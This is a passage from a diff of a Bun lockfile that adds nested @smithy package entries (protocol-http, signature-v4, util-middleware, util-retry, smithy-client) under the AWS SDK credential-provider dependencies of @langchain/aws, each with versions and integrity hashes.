"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@aws-sdk/xml-builder": ["@aws-sdk/xml-builder@3.921.0", "", { "dependencies": { "@smithy/types": "^4.8.1", "fast-xml-parser": "5.2.5", "tslib": "^2.6.2" } }, "sha512-LVHg0jgjyicKKvpNIEMXIMr1EBViESxcPkqfOlT+X1FkmUMTNZEEVF18tOJg4m4hV5vxtkWcqtr4IEeWa1C41Q=="], @@ -8533,10 +8219,16 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.922.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-HPquFgBnq/KqKRVkiuCt97PmWbKtxQ5iUNLEc6FIviqOoZTmaYG3EDsIbuFBz9C4RHJU4FKLmHL2bL3FEId6AA=="], @@ -8579,6 +8271,8 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="], @@ -8595,6 +8289,8 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], @@ -8605,10 +8301,16 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.922.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-HPquFgBnq/KqKRVkiuCt97PmWbKtxQ5iUNLEc6FIviqOoZTmaYG3EDsIbuFBz9C4RHJU4FKLmHL2bL3FEId6AA=="], @@ -8651,6 +8353,8 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="], @@ -8667,6 +8371,8 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], @@ -8677,10 +8383,16 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Oy6w7+fzIdr10DhF/HpfVLy6raZFTdiE7pxS1rvpuj2JgxzW2y6urm2sYf3eLOpMiHyuG4xUBwFiJpU9CCEvJA=="], @@ -8691,10 +8403,16 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="], + + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.922.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-HPquFgBnq/KqKRVkiuCt97PmWbKtxQ5iUNLEc6FIviqOoZTmaYG3EDsIbuFBz9C4RHJU4FKLmHL2bL3FEId6AA=="], @@ -8737,6 +8455,8 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="], @@ -8753,6 +8473,8 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], + 